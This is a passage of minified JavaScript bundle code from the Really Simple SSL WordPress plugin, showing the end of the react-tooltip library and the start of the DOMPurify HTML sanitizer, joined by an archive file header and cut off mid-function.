t=[...e.addedNodes].filter((e=>1===e.nodeType));o.push(...t.filter((e=>e.matches(n)))),o.push(...t.flatMap((e=>[...e.querySelectorAll(n)])))}catch(e){}}})),(o.length||r.length)&&Se((e=>[...e.filter((e=>!r.includes(e))),...o]))}));return r.observe(document.body,{childList:!0,subtree:!0,attributes:!0,attributeFilter:["data-tooltip-id"],attributeOldValue:!0}),()=>{r.disconnect()}}),[t,u,null==ye?void 0:ye.anchorSelect,Q]),(0,n.useEffect)((()=>{Fe()}),[Fe]),(0,n.useEffect)((()=>{if(!(null==Z?void 0:Z.current))return()=>null;const e=new ResizeObserver((()=>{setTimeout((()=>Fe()))}));return e.observe(Z.current),()=>{e.disconnect()}}),[K,null==Z?void 0:Z.current]),(0,n.useEffect)((()=>{var e;const t=document.querySelector(`[id='${c}']`),o=[...Ee,t];Q&&o.includes(Q)||Y(null!==(e=Ee[0])&&void 0!==e?e:t)}),[c,Ee,Q]),(0,n.useEffect)((()=>(X&&Ce(!0),()=>{$(se),$(ce)})),[]),(0,n.useEffect)((()=>{var e;let o=null!==(e=null==ye?void 0:ye.anchorSelect)&&void 0!==e?e:u;if(!o&&t&&(o=`[data-tooltip-id='${t.replace(/'/g,"\\'")}']`),o)try{const e=Array.from(document.querySelectorAll(o));Se(e)}catch(e){Se([])}}),[t,u,null==ye?void 0:ye.anchorSelect]),(0,n.useEffect)((()=>{se.current&&($(se),Ie(w))}),[w]);const Me=null!==(re=null==ye?void 0:ye.content)&&void 0!==re?re:K,Je=fe&&Object.keys(ue.tooltipStyles).length>0;return(0,n.useImperativeHandle)(e,(()=>({open:e=>{if(null==e?void 0:e.anchorSelect)try{document.querySelector(e.anchorSelect)}catch(t){return void console.warn(`[react-tooltip] "${e.anchorSelect}" is not a valid CSS selector`)}he(null!=e?e:null),(null==e?void 0:e.delay)?Ie(e.delay):Ce(!0)},close:e=>{(null==e?void 0:e.delay)?qe(e.delay):Ce(!1)},activeAnchor:Q,place:ue.place,isOpen:Boolean(me&&!_&&Me&&Je)}))),me&&!_&&Me?n.createElement(g,{id:t,role:ne,className:A("react-tooltip",W.tooltip,H.tooltip,H[i],o,`react-tooltip__place-${ue.place}`,W[Je?"show":"closing"],Je?"react-tooltip__show":"react-tooltip__closing","fixed"===y&&W.fixed,S&&W.clickable),onTransitionEnd:e=>{$(ae),fe||"opacity"!==e.propertyName||(ve(!1),he(null),null==M||M())},style:{...B,...ue.tooltipStyles,opacity:void 0!==te&&Je?te:void 0},ref:le},Me,n.createElement(g,{className:A("react-tooltip-arrow",W.arrow,H.arrow,l,E&&W.noArrow),style:{...ue.tooltipArrowStyles,background:oe?`linear-gradient(to right bottom, transparent 50%, ${oe} 50%)`:void 0},ref:ie})):null},F=({content:e})=>n.createElement("span",{dangerouslySetInnerHTML:{__html:e}}),M=n.forwardRef((({id:e,anchorId:t,anchorSelect:o,content:r,html:l,render:i,className:s,classNameArrow:c,variant:a="dark",place:u="top",offset:d=10,wrapper:f="div",children:p=null,events:m=["hover"],openOnClick:v=!1,positionStrategy:y="absolute",middlewares:h,delayShow:g=0,delayHide:w=0,float:b=!1,hidden:x=!1,noArrow:_=!1,clickable:E=!1,closeOnEsc:S=!1,closeOnScroll:T=!1,closeOnResize:k=!1,openEvents:L,closeEvents:R,globalCloseEvents:C,imperativeModeOnly:D=!1,style:I,position:q,isOpen:N,defaultIsOpen:P=!1,disableStyleInjection:$=!1,border:z,opacity:B,arrowColor:W,setIsOpen:H,afterShow:M,afterHide:J,disableTooltip:K,role:Z="tooltip"},U)=>{const[X,G]=(0,n.useState)(r),[Q,Y]=(0,n.useState)(l),[ee,te]=(0,n.useState)(u),[oe,ne]=(0,n.useState)(a),[re,le]=(0,n.useState)(d),[ie,se]=(0,n.useState)(g),[ce,ae]=(0,n.useState)(w),[ue,de]=(0,n.useState)(b),[fe,pe]=(0,n.useState)(x),[me,ve]=(0,n.useState)(f),[ye,he]=(0,n.useState)(m),[ge,we]=(0,n.useState)(y),[be,xe]=(0,n.useState)(null),[_e,Ee]=(0,n.useState)(null),Se=(0,n.useRef)($),{anchorRefs:Te,activeAnchor:Ae}=j(e),ke=e=>null==e?void 0:e.getAttributeNames().reduce(((t,o)=>{var n;return o.startsWith("data-tooltip-")&&(t[o.replace(/^data-tooltip-/,"")]=null!==(n=null==e?void 0:e.getAttribute(o))&&void 0!==n?n:null),t}),{}),Le=e=>{const t={place:e=>{var t;te(null!==(t=e)&&void 0!==t?t:u)},content:e=>{G(null!=e?e:r)},html:e=>{Y(null!=e?e:l)},variant:e=>{var t;ne(null!==(t=e)&&void 0!==t?t:a)},offset:e=>{le(null===e?d:Number(e))},wrapper:e=>{var t;ve(null!==(t=e)&&void 0!==t?t:f)},events:e=>{const t=null==e?void 0:e.split(" ");he(null!=t?t:m)},"position-strategy":e=>{var t;we(null!==(t=e)&&void 0!==t?t:y)},"delay-show":e=>{se(null===e?g:Number(e))},"delay-hide":e=>{ae(null===e?w:Number(e))},float:e=>{de(null===e?b:"true"===e)},hidden:e=>{pe(null===e?x:"true"===e)},"class-name":e=>{xe(e)}};Object.values(t).forEach((e=>e(null))),Object.entries(e).forEach((([e,o])=>{var n;null===(n=t[e])||void 0===n||n.call(t,o)}))};(0,n.useEffect)((()=>{G(r)}),[r]),(0,n.useEffect)((()=>{Y(l)}),[l]),(0,n.useEffect)((()=>{te(u)}),[u]),(0,n.useEffect)((()=>{ne(a)}),[a]),(0,n.useEffect)((()=>{le(d)}),[d]),(0,n.useEffect)((()=>{se(g)}),[g]),(0,n.useEffect)((()=>{ae(w)}),[w]),(0,n.useEffect)((()=>{de(b)}),[b]),(0,n.useEffect)((()=>{pe(x)}),[x]),(0,n.useEffect)((()=>{we(y)}),[y]),(0,n.useEffect)((()=>{Se.current!==$&&console.warn("[react-tooltip] Do not change `disableStyleInjection` dynamically.")}),[$]),(0,n.useEffect)((()=>{"undefined"!=typeof window&&window.dispatchEvent(new CustomEvent("react-tooltip-inject-styles",{detail:{disableCore:"core"===$,disableBase:$}}))}),[]),(0,n.useEffect)((()=>{var n;const r=new Set(Te);let l=o;if(!l&&e&&(l=`[data-tooltip-id='${e.replace(/'/g,"\\'")}']`),l)try{document.querySelectorAll(l).forEach((e=>{r.add({current:e})}))}catch(n){console.warn(`[react-tooltip] "${l}" is not a valid CSS selector`)}const i=document.querySelector(`[id='${t}']`);if(i&&r.add({current:i}),!r.size)return()=>null;const s=null!==(n=null!=_e?_e:i)&&void 0!==n?n:Ae.current,c=new MutationObserver((e=>{e.forEach((e=>{var t;if(!s||"attributes"!==e.type||!(null===(t=e.attributeName)||void 0===t?void 0:t.startsWith("data-tooltip-")))return;const o=ke(s);Le(o)}))})),a={attributes:!0,childList:!1,subtree:!1};if(s){const e=ke(s);Le(e),c.observe(s,a)}return()=>{c.disconnect()}}),[Te,Ae,_e,t,o]),(0,n.useEffect)((()=>{(null==I?void 0:I.border)&&console.warn("[react-tooltip] Do not set `style.border`. Use `border` prop instead."),z&&!O("border",`${z}`)&&console.warn(`[react-tooltip] "${z}" is not a valid \`border\`.`),(null==I?void 0:I.opacity)&&console.warn("[react-tooltip] Do not set `style.opacity`. Use `opacity` prop instead."),B&&!O("opacity",`${B}`)&&console.warn(`[react-tooltip] "${B}" is not a valid \`opacity\`.`)}),[]);let Re=p;const Oe=(0,n.useRef)(null);if(i){const e=i({content:(null==_e?void 0:_e.getAttribute("data-tooltip-content"))||X||null,activeAnchor:_e});Re=e?n.createElement("div",{ref:Oe,className:"react-tooltip-content-wrapper"},e):null}else X&&(Re=X);Q&&(Re=n.createElement(F,{content:Q}));const Ce={forwardRef:U,id:e,anchorId:t,anchorSelect:o,className:A(s,be),classNameArrow:c,content:Re,contentWrapperRef:Oe,place:ee,variant:oe,offset:re,wrapper:me,events:ye,openOnClick:v,positionStrategy:ge,middlewares:h,delayShow:ie,delayHide:ce,float:ue,hidden:fe,noArrow:_,clickable:E,closeOnEsc:S,closeOnScroll:T,closeOnResize:k,openEvents:L,closeEvents:R,globalCloseEvents:C,imperativeModeOnly:D,style:I,position:q,isOpen:N,defaultIsOpen:P,border:z,opacity:B,arrowColor:W,setIsOpen:H,afterShow:M,afterHide:J,disableTooltip:K,activeAnchor:_e,setActiveAnchor:e=>Ee(e),role:Z};return n.createElement(V,{...Ce})}));"undefined"!=typeof window&&window.addEventListener("react-tooltip-inject-styles",(e=>{e.detail.disableCore||L({css:":root{--rt-color-white:#fff;--rt-color-dark:#222;--rt-color-success:#8dc572;--rt-color-error:#be6464;--rt-color-warning:#f0ad4e;--rt-color-info:#337ab7;--rt-opacity:0.9;--rt-transition-show-delay:0.15s;--rt-transition-closing-delay:0.15s}.core-styles-module_tooltip__3vRRp{position:absolute;top:0;left:0;pointer-events:none;opacity:0;will-change:opacity}.core-styles-module_fixed__pcSol{position:fixed}.core-styles-module_arrow__cvMwQ{position:absolute;background:inherit}.core-styles-module_noArrow__xock6{display:none}.core-styles-module_clickable__ZuTTB{pointer-events:auto}.core-styles-module_show__Nt9eE{opacity:var(--rt-opacity);transition:opacity var(--rt-transition-show-delay)ease-out}.core-styles-module_closing__sGnxF{opacity:0;transition:opacity var(--rt-transition-closing-delay)ease-in}",type:"core"}),e.detail.disableBase||L({css:"\n.styles-module_tooltip__mnnfp{padding:8px 16px;border-radius:3px;font-size:90%;width:max-content}.styles-module_arrow__K0L3T{width:8px;height:8px}[class*='react-tooltip__place-top']>.styles-module_arrow__K0L3T{transform:rotate(45deg)}[class*='react-tooltip__place-right']>.styles-module_arrow__K0L3T{transform:rotate(135deg)}[class*='react-tooltip__place-bottom']>.styles-module_arrow__K0L3T{transform:rotate(225deg)}[class*='react-tooltip__place-left']>.styles-module_arrow__K0L3T{transform:rotate(315deg)}.styles-module_dark__xNqje{background:var(--rt-color-dark);color:var(--rt-color-white)}.styles-module_light__Z6W-X{background-color:var(--rt-color-white);color:var(--rt-color-dark)}.styles-module_success__A2AKt{background-color:var(--rt-color-success);color:var(--rt-color-white)}.styles-module_warning__SCK0X{background-color:var(--rt-color-warning);color:var(--rt-color-white)}.styles-module_error__JvumD{background-color:var(--rt-color-error);color:var(--rt-color-white)}.styles-module_info__BWdHW{background-color:var(--rt-color-info);color:var(--rt-color-white)}",type:"base"})}))}}]);really-simple-ssl/settings/build/838.c841004b517cdf3abd86.js000064400000051311147510273070016636 0ustar00(self.webpackChunkreally_simple_ssl=self.webpackChunkreally_simple_ssl||[]).push([[838],{2838:function(e){e.exports=function(){"use strict";const{entries:e,setPrototypeOf:t,isFrozen:n,getPrototypeOf:o,getOwnPropertyDescriptor:r}=Object;let{freeze:i,seal:a,create:l}=Object,{apply:c,construct:s}="undefined"!=typeof Reflect&&Reflect;i||(i=function(e){return e}),a||(a=function(e){return e}),c||(c=function(e,t,n){return e.apply(t,n)}),s||(s=function(e,t){return new e(...t)});const u=b(Array.prototype.forEach),m=b(Array.prototype.pop),p=b(Array.prototype.push),f=b(String.prototype.toLowerCase),d=b(String.prototype.toString),h=b(String.prototype.match),g=b(String.prototype.replace),T=b(String.prototype.indexOf),y=b(String.prototype.trim),E=b(Object.prototype.hasOwnProperty),_=b(RegExp.prototype.test),A=(N=TypeError,function(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return s(N,t)});var N;function b(e){return function(t){for(var n=arguments.length,o=new Array(n>1?n-1:0),r=1;r<n;r++)o[r-1]=arguments[r];return c(e,t,o)}}function S(e,o){let r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:f;t&&t(e,null);let i=o.length;for(;i--;){let t=o[i];if("string"==typeof t){const e=r(t);e!==t&&(n(o)||(o[i]=e),t=e)}e[t]=!0}return e}function R(e){for(let t=0;t<e.length;t++)E(e,t)||(e[t]=null);return e}function w(t){const n=l(null);for(const[o,r]of e(t))E(t,o)&&(Array.isArray(r)?n[o]=R(r):r&&"object"==typeof r&&r.constructor===Object?n[o]=w(r):n[o]=r);return n}function C(e,t){for(;null!==e;){const n=r(e,t);if(n){if(n.get)return b(n.get);if("function"==typeof n.value)return b(n.value)}e=o(e)}return function(){return null}}const L=i(["a","abbr","acronym","address","area","article","aside","audio","b","bdi","bdo","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","content","data","datalist","dd","decorator","del","details","dfn","dialog","dir","div","dl","dt","element","em","fieldset","figcaption","figure","font","footer","form","h1","h2","h3","h4","h5","h6","head","header","hgroup","hr","html","i","img","input","ins","kbd","label","legend","li","main","map","mark","marquee","menu","menuitem","meter","nav","nobr","ol","optgroup","option","output","p","picture","pre","progress","q","rp","rt","ruby","s","samp","section","select","shadow","small","source","spacer","span","strike","strong","style","sub","summary","sup","table","tbody","td","template","textarea","tfoot","th","thead","time","tr","track","tt","u","ul","var","video","wbr"]),v=i(["svg","a","altglyph","altglyphdef","altglyphitem","animatecolor","animatemotion","animatetransform","circle","clippath","defs","desc","ellipse","filter","font","g","glyph","glyphref","hkern","image","line","lineargradient","marker","mask","metadata","mpath","path","pattern","polygon","polyline","radialgradient","rect","stop","style","switch","symbol","text","textpath","title","tref","tspan","view","vkern"]),D=i(["feBlend","feColorMatrix","feComponentTransfer","feComposite","feConvolveMatrix","feDiffuseLighting","feDisplacementMap","feDistantLight","feDropShadow","feFlood","feFuncA","feFuncB","feFuncG","feFuncR","feGaussianBlur","feImage","feMerge","feMergeNode","feMorphology","feOffset","fePointLight","feSpecularLighting","feSpotLight","feTile","feTurbulence"]),k=i(["animate","color-profile","cursor","discard","font-face","font-face-format","font-face-name","font-face-src","font-face-uri","foreignobject","hatch","hatchpath","mesh","meshgradient","meshpatch","meshrow","missing-glyph","script","set","solidcolor","unknown","use"]),O=i(["math","menclose","merror","mfenced","mfrac","mglyph","mi","mlabeledtr","mmultiscripts","mn","mo","mover","mpadded","mphantom","mroot","mrow","ms","mspace","msqrt","mstyle","msub","msup","msubsup","mtable","mtd","mtext","mtr","munder","munderover","mprescripts"]),x=i(["maction","maligngroup","malignmark","mlongdiv","mscarries","mscarry","msgroup","mstack","msline","msrow","semantics","annotation","annotation-xml","mprescripts","none"]),I=i(["#text"]),M=i(["accept","action","align","alt","autocapitalize","autocomplete","autopictureinpicture","autoplay","background","bgcolor","border","capture","cellpadding","cellspacing","checked","cite","class","clear","color","cols","colspan","controls","controlslist","coords","crossorigin","datetime","decoding","default","dir","disabled","disablepictureinpicture","disableremoteplayback","download","draggable","enctype","enterkeyhint","face","for","headers","height","hidden","high","href","hreflang","id","inputmode","integrity","ismap","kind","label","lang","list","loading","loop","low","max","maxlength","media","method","min","minlength","multiple","muted","name","nonce","noshade","novalidate","nowrap","open","optimum","pattern","placeholder","playsinline","popover","popovertarget","popovertargetaction","poster","preload","pubdate","radiogroup","readonly","rel","required","rev","reversed","role","rows","rowspan","spellcheck","scope","selected","shape","size","sizes","span","srclang","start","src","srcset","step","style","summary","tabindex","title","translate","type","usemap","valign","value","width","wrap","xmlns","slot"]),U=i(["accent-height","accumulate","additive","alignment-baseline","amplitude","ascent","attributename","attributetype","azimuth","basefrequency","baseline-shift","begin","bias","by","class","clip","clippathunits","clip-path","clip-rule","color","color-interpolation","color-interpolation-filters","color-profile","color-rendering","cx","cy","d","dx","dy","diffuseconstant","direction","display","divisor","dur","edgemode","elevation","end","exponent","fill","fill-opacity","fill-rule","filter","filterunits","flood-color","flood-opacity","font-family","font-size","font-size-adjust","font-stretch","font-style","font-variant","font-weight","fx","fy","g1","g2","glyph-name","glyphref","gradientunits","gradienttransform","height","href","id","image-rendering","in","in2","intercept","k","k1","k2","k3","k4","kerning","keypoints","keysplines","keytimes","lang","lengthadjust","letter-spacing","kernelmatrix","kernelunitlength","lighting-color","local","marker-end","marker-mid","marker-start","markerheight","markerunits","markerwidth","maskcontentunits","maskunits","max","mask","media","method","mode","min","name","numoctaves","offset","operator","opacity","order","orient","orientation","origin","overflow","paint-order","path","pathlength","patterncontentunits","patterntransform","patternunits","points","preservealpha","preserveaspectratio","primitiveunits","r","rx","ry","radius","refx","refy","repeatcount","repeatdur","restart","result","rotate","scale","seed","shape-rendering","slope","specularconstant","specularexponent","spreadmethod","startoffset","stddeviation","stitchtiles","stop-color","stop-opacity","stroke-dasharray","stroke-dashoffset","stroke-linecap","stroke-linejoin","stroke-miterlimit","stroke-opacity","stroke","stroke-width","style","surfacescale","systemlanguage","tabindex","tablevalues","targetx","targety","transform","transform-origin","text-anchor","text-decoration","text-rendering","textlength","type","u1","u2","unicode","values","viewbox","visibility","version","vert-adv-y","vert-origin-x","vert-origin-y","width","word-spacing","wrap","writing-mode","xchannelselector","ychannelselector","x","x1","x2","xmlns","y","y1","y2","z","zoomandpan"]),P=i(["accent","accentunder","align","bevelled","close","columnsalign","columnlines","columnspan","denomalign","depth","dir","display","displaystyle","encoding","fence","frame","height","href","id","largeop","length","linethickness","lspace","lquote","mathbackground","mathcolor","mathsize","mathvariant","maxsize","minsize","movablelimits","notation","numalign","open","rowalign","rowlines","rowspacing","rowspan","rspace","rquote","scriptlevel","scriptminsize","scriptsizemultiplier","selection","separator","separators","stretchy","subscriptshift","supscriptshift","symmetric","voffset","width","xmlns"]),F=i(["xlink:href","xml:id","xlink:title","xml:space","xmlns:xlink"]),H=a(/\{\{[\w\W]*|[\w\W]*\}\}/gm),z=a(/<%[\w\W]*|[\w\W]*%>/gm),B=a(/\${[\w\W]*}/gm),W=a(/^data-[\-\w.\u00B7-\uFFFF]/),G=a(/^aria-[\-\w]+$/),Y=a(/^(?:(?:(?:f|ht)tps?|mailto|tel|callto|sms|cid|xmpp):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i),j=a(/^(?:\w+script|data):/i),X=a(/[\u0000-\u0020\u00A0\u1680\u180E\u2000-\u2029\u205F\u3000]/g),q=a(/^html$/i),$=a(/^[a-z][.\w]*(-[.\w]+)+$/i);var K=Object.freeze({__proto__:null,MUSTACHE_EXPR:H,ERB_EXPR:z,TMPLIT_EXPR:B,DATA_ATTR:W,ARIA_ATTR:G,IS_ALLOWED_URI:Y,IS_SCRIPT_OR_DATA:j,ATTR_WHITESPACE:X,DOCTYPE_NAME:q,CUSTOM_ELEMENT:$});const V=1,Z=3,J=7,Q=8,ee=9,te=function(){return"undefined"==typeof window?null:window};return function t(){let n=arguments.length>0&&void 0!==arguments[0]?arguments[0]:te();const o=e=>t(e);if(o.version="3.1.7",o.removed=[],!n||!n.document||n.document.nodeType!==ee)return o.isSupported=!1,o;let{document:r}=n;const a=r,c=a.currentScript,{DocumentFragment:s,HTMLTemplateElement:N,Node:b,Element:R,NodeFilter:H,NamedNodeMap:z=n.NamedNodeMap||n.MozNamedAttrMap,HTMLFormElement:B,DOMParser:W,trustedTypes:G}=n,j=R.prototype,X=C(j,"cloneNode"),$=C(j,"remove"),ne=C(j,"nextSibling"),oe=C(j,"childNodes"),re=C(j,"parentNode");if("function"==typeof N){const e=r.createElement("template");e.content&&e.content.ownerDocument&&(r=e.content.ownerDocument)}let ie,ae="";const{implementation:le,createNodeIterator:ce,createDocumentFragment:se,getElementsByTagName:ue}=r,{importNode:me}=a;let pe={};o.isSupported="function"==typeof e&&"function"==typeof re&&le&&void 0!==le.createHTMLDocument;const{MUSTACHE_EXPR:fe,ERB_EXPR:de,TMPLIT_EXPR:he,DATA_ATTR:ge,ARIA_ATTR:Te,IS_SCRIPT_OR_DATA:ye,ATTR_WHITESPACE:Ee,CUSTOM_ELEMENT:_e}=K;let{IS_ALLOWED_URI:Ae}=K,Ne=null;const be=S({},[...L,...v,...D,...O,...I]);let Se=null;const Re=S({},[...M,...U,...P,...F]);let we=Object.seal(l(null,{tagNameCheck:{writable:!0,configurable:!1,enumerable:!0,value:null},attributeNameCheck:{writable:!0,configurable:!1,enumerable:!0,value:null},allowCustomizedBuiltInElements:{writable:!0,configurable:!1,enumerable:!0,value:!1}})),Ce=null,Le=null,ve=!0,De=!0,ke=!1,Oe=!0,xe=!1,Ie=!0,Me=!1,Ue=!1,Pe=!1,Fe=!1,He=!1,ze=!1,Be=!0,We=!1,Ge=!0,Ye=!1,je={},Xe=null;const qe=S({},["annotation-xml","audio","colgroup","desc","foreignobject","head","iframe","math","mi","mn","mo","ms","mtext","noembed","noframes","noscript","plaintext","script","style","svg","template","thead","title","video","xmp"]);let $e=null;const Ke=S({},["audio","video","img","source","image","track"]);let Ve=null;const Ze=S({},["alt","class","for","id","label","name","pattern","placeholder","role","summary","title","value","style","xmlns"]),Je="http://www.w3.org/1998/Math/MathML",Qe="http://www.w3.org/2000/svg",et="http://www.w3.org/1999/xhtml";let tt=et,nt=!1,ot=null;const rt=S({},[Je,Qe,et],d);let it=null;const at=["application/xhtml+xml","text/html"];let lt=null,ct=null;const st=r.createElement("form"),ut=function(e){return e instanceof RegExp||e instanceof Function},mt=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};if(!ct||ct!==e){if(e&&"object"==typeof e||(e={}),e=w(e),it=-1===at.indexOf(e.PARSER_MEDIA_TYPE)?"text/html":e.PARSER_MEDIA_TYPE,lt="application/xhtml+xml"===it?d:f,Ne=E(e,"ALLOWED_TAGS")?S({},e.ALLOWED_TAGS,lt):be,Se=E(e,"ALLOWED_ATTR")?S({},e.ALLOWED_ATTR,lt):Re,ot=E(e,"ALLOWED_NAMESPACES")?S({},e.ALLOWED_NAMESPACES,d):rt,Ve=E(e,"ADD_URI_SAFE_ATTR")?S(w(Ze),e.ADD_URI_SAFE_ATTR,lt):Ze,$e=E(e,"ADD_DATA_URI_TAGS")?S(w(Ke),e.ADD_DATA_URI_TAGS,lt):Ke,Xe=E(e,"FORBID_CONTENTS")?S({},e.FORBID_CONTENTS,lt):qe,Ce=E(e,"FORBID_TAGS")?S({},e.FORBID_TAGS,lt):{},Le=E(e,"FORBID_ATTR")?S({},e.FORBID_ATTR,lt):{},je=!!E(e,"USE_PROFILES")&&e.USE_PROFILES,ve=!1!==e.ALLOW_ARIA_ATTR,De=!1!==e.ALLOW_DATA_ATTR,ke=e.ALLOW_UNKNOWN_PROTOCOLS||!1,Oe=!1!==e.ALLOW_SELF_CLOSE_IN_ATTR,xe=e.SAFE_FOR_TEMPLATES||!1,Ie=!1!==e.SAFE_FOR_XML,Me=e.WHOLE_DOCUMENT||!1,Fe=e.RETURN_DOM||!1,He=e.RETURN_DOM_FRAGMENT||!1,ze=e.RETURN_TRUSTED_TYPE||!1,Pe=e.FORCE_BODY||!1,Be=!1!==e.SANITIZE_DOM,We=e.SANITIZE_NAMED_PROPS||!1,Ge=!1!==e.KEEP_CONTENT,Ye=e.IN_PLACE||!1,Ae=e.ALLOWED_URI_REGEXP||Y,tt=e.NAMESPACE||et,we=e.CUSTOM_ELEMENT_HANDLING||{},e.CUSTOM_ELEMENT_HANDLING&&ut(e.CUSTOM_ELEMENT_HANDLING.tagNameCheck)&&(we.tagNameCheck=e.CUSTOM_ELEMENT_HANDLING.tagNameCheck),e.CUSTOM_ELEMENT_HANDLING&&ut(e.CUSTOM_ELEMENT_HANDLING.attributeNameCheck)&&(we.attributeNameCheck=e.CUSTOM_ELEMENT_HANDLING.attributeNameCheck),e.CUSTOM_ELEMENT_HANDLING&&"boolean"==typeof e.CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements&&(we.allowCustomizedBuiltInElements=e.CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements),xe&&(De=!1),He&&(Fe=!0),je&&(Ne=S({},I),Se=[],!0===je.html&&(S(Ne,L),S(Se,M)),!0===je.svg&&(S(Ne,v),S(Se,U),S(Se,F)),!0===je.svgFilters&&(S(Ne,D),S(Se,U),S(Se,F)),!0===je.mathMl&&(S(Ne,O),S(Se,P),S(Se,F))),e.ADD_TAGS&&(Ne===be&&(Ne=w(Ne)),S(Ne,e.ADD_TAGS,lt)),e.ADD_ATTR&&(Se===Re&&(Se=w(Se)),S(Se,e.ADD_ATTR,lt)),e.ADD_URI_SAFE_ATTR&&S(Ve,e.ADD_URI_SAFE_ATTR,lt),e.FORBID_CONTENTS&&(Xe===qe&&(Xe=w(Xe)),S(Xe,e.FORBID_CONTENTS,lt)),Ge&&(Ne["#text"]=!0),Me&&S(Ne,["html","head","body"]),Ne.table&&(S(Ne,["tbody"]),delete Ce.tbody),e.TRUSTED_TYPES_POLICY){if("function"!=typeof e.TRUSTED_TYPES_POLICY.createHTML)throw A('TRUSTED_TYPES_POLICY configuration option must provide a "createHTML" hook.');if("function"!=typeof e.TRUSTED_TYPES_POLICY.createScriptURL)throw A('TRUSTED_TYPES_POLICY configuration option must provide a "createScriptURL" hook.');ie=e.TRUSTED_TYPES_POLICY,ae=ie.createHTML("")}else void 0===ie&&(ie=function(e,t){if("object"!=typeof e||"function"!=typeof e.createPolicy)return null;let n=null;const o="data-tt-policy-suffix";t&&t.hasAttribute(o)&&(n=t.getAttribute(o));const r="dompurify"+(n?"#"+n:"");try{return e.createPolicy(r,{createHTML:e=>e,createScriptURL:e=>e})}catch(e){return console.warn("TrustedTypes policy "+r+" could not be created."),null}}(G,c)),null!==ie&&"string"==typeof ae&&(ae=ie.createHTML(""));i&&i(e),ct=e}},pt=S({},["mi","mo","mn","ms","mtext"]),ft=S({},["annotation-xml"]),dt=S({},["title","style","font","a","script"]),ht=S({},[...v,...D,...k]),gt=S({},[...O,...x]),Tt=function(e){p(o.removed,{element:e});try{re(e).removeChild(e)}catch(t){$(e)}},yt=function(e,t){try{p(o.removed,{attribute:t.getAttributeNode(e),from:t})}catch(e){p(o.removed,{attribute:null,from:t})}if(t.removeAttribute(e),"is"===e&&!Se[e])if(Fe||He)try{Tt(t)}catch(e){}else try{t.setAttribute(e,"")}catch(e){}},Et=function(e){let t=null,n=null;if(Pe)e="<remove></remove>"+e;else{const t=h(e,/^[\r\n\t ]+/);n=t&&t[0]}"application/xhtml+xml"===it&&tt===et&&(e='<html xmlns="http://www.w3.org/1999/xhtml"><head></head><body>'+e+"</body></html>");const o=ie?ie.createHTML(e):e;if(tt===et)try{t=(new W).parseFromString(o,it)}catch(e){}if(!t||!t.documentElement){t=le.createDocument(tt,"template",null);try{t.documentElement.innerHTML=nt?ae:o}catch(e){}}const i=t.body||t.documentElement;return e&&n&&i.insertBefore(r.createTextNode(n),i.childNodes[0]||null),tt===et?ue.call(t,Me?"html":"body")[0]:Me?t.documentElement:i},_t=function(e){return ce.call(e.ownerDocument||e,e,H.SHOW_ELEMENT|H.SHOW_COMMENT|H.SHOW_TEXT|H.SHOW_PROCESSING_INSTRUCTION|H.SHOW_CDATA_SECTION,null)},At=function(e){return e instanceof B&&("string"!=typeof e.nodeName||"string"!=typeof e.textContent||"function"!=typeof e.removeChild||!(e.attributes instanceof z)||"function"!=typeof e.removeAttribute||"function"!=typeof e.setAttribute||"string"!=typeof e.namespaceURI||"function"!=typeof e.insertBefore||"function"!=typeof e.hasChildNodes)},Nt=function(e){return"function"==typeof b&&e instanceof b},bt=function(e,t,n){pe[e]&&u(pe[e],(e=>{e.call(o,t,n,ct)}))},St=function(e){let t=null;if(bt("beforeSanitizeElements",e,null),At(e))return Tt(e),!0;const n=lt(e.nodeName);if(bt("uponSanitizeElement",e,{tagName:n,allowedTags:Ne}),e.hasChildNodes()&&!Nt(e.firstElementChild)&&_(/<[/\w]/g,e.innerHTML)&&_(/<[/\w]/g,e.textContent))return Tt(e),!0;if(e.nodeType===J)return Tt(e),!0;if(Ie&&e.nodeType===Q&&_(/<[/\w]/g,e.data))return Tt(e),!0;if(!Ne[n]||Ce[n]){if(!Ce[n]&&wt(n)){if(we.tagNameCheck instanceof RegExp&&_(we.tagNameCheck,n))return!1;if(we.tagNameCheck instanceof Function&&we.tagNameCheck(n))return!1}if(Ge&&!Xe[n]){const t=re(e)||e.parentNode,n=oe(e)||e.childNodes;if(n&&t)for(let o=n.length-1;o>=0;--o){const r=X(n[o],!0);r.__removalCount=(e.__removalCount||0)+1,t.insertBefore(r,ne(e))}}return Tt(e),!0}return e instanceof R&&!function(e){let t=re(e);t&&t.tagName||(t={namespaceURI:tt,tagName:"template"});const n=f(e.tagName),o=f(t.tagName);return!!ot[e.namespaceURI]&&(e.namespaceURI===Qe?t.namespaceURI===et?"svg"===n:t.namespaceURI===Je?"svg"===n&&("annotation-xml"===o||pt[o]):Boolean(ht[n]):e.namespaceURI===Je?t.namespaceURI===et?"math"===n:t.namespaceURI===Qe?"math"===n&&ft[o]:Boolean(gt[n]):e.namespaceURI===et?!(t.namespaceURI===Qe&&!ft[o])&&!(t.namespaceURI===Je&&!pt[o])&&!gt[n]&&(dt[n]||!ht[n]):!("application/xhtml+xml"!==it||!ot[e.namespaceURI]))}(e)?(Tt(e),!0):"noscript"!==n&&"noembed"!==n&&"noframes"!==n||!_(/<\/no(script|embed|frames)/i,e.innerHTML)?(xe&&e.nodeType===Z&&(t=e.textContent,u([fe,de,he],(e=>{t=g(t,e," ")})),e.textContent!==t&&(p(o.removed,{element:e.cloneNode()}),e.textContent=t)),bt("afterSanitizeElements",e,null),!1):(Tt(e),!0)},Rt=function(e,t,n){if(Be&&("id"===t||"name"===t)&&(n in r||n in st))return!1;if(De&&!Le[t]&&_(ge,t));else if(ve&&_(Te,t));else if(!Se[t]||Le[t]){if(!(wt(e)&&(we.tagNameCheck instanceof RegExp&&_(we.tagNameCheck,e)||we.tagNameCheck instanceof Function&&we.tagNameCheck(e))&&(we.attributeNameCheck instanceof RegExp&&_(we.attributeNameCheck,t)||we.attributeNameCheck instanceof Function&&we.attributeNameCheck(t))||"is"===t&&we.allowCustomizedBuiltInElements&&(we.tagNameCheck instanceof RegExp&&_(we.tagNameCheck,n)||we.tagNameCheck instanceof Function&&we.tagNameCheck(n))))return!1}else if(Ve[t]);else if(_(Ae,g(n,Ee,"")));else 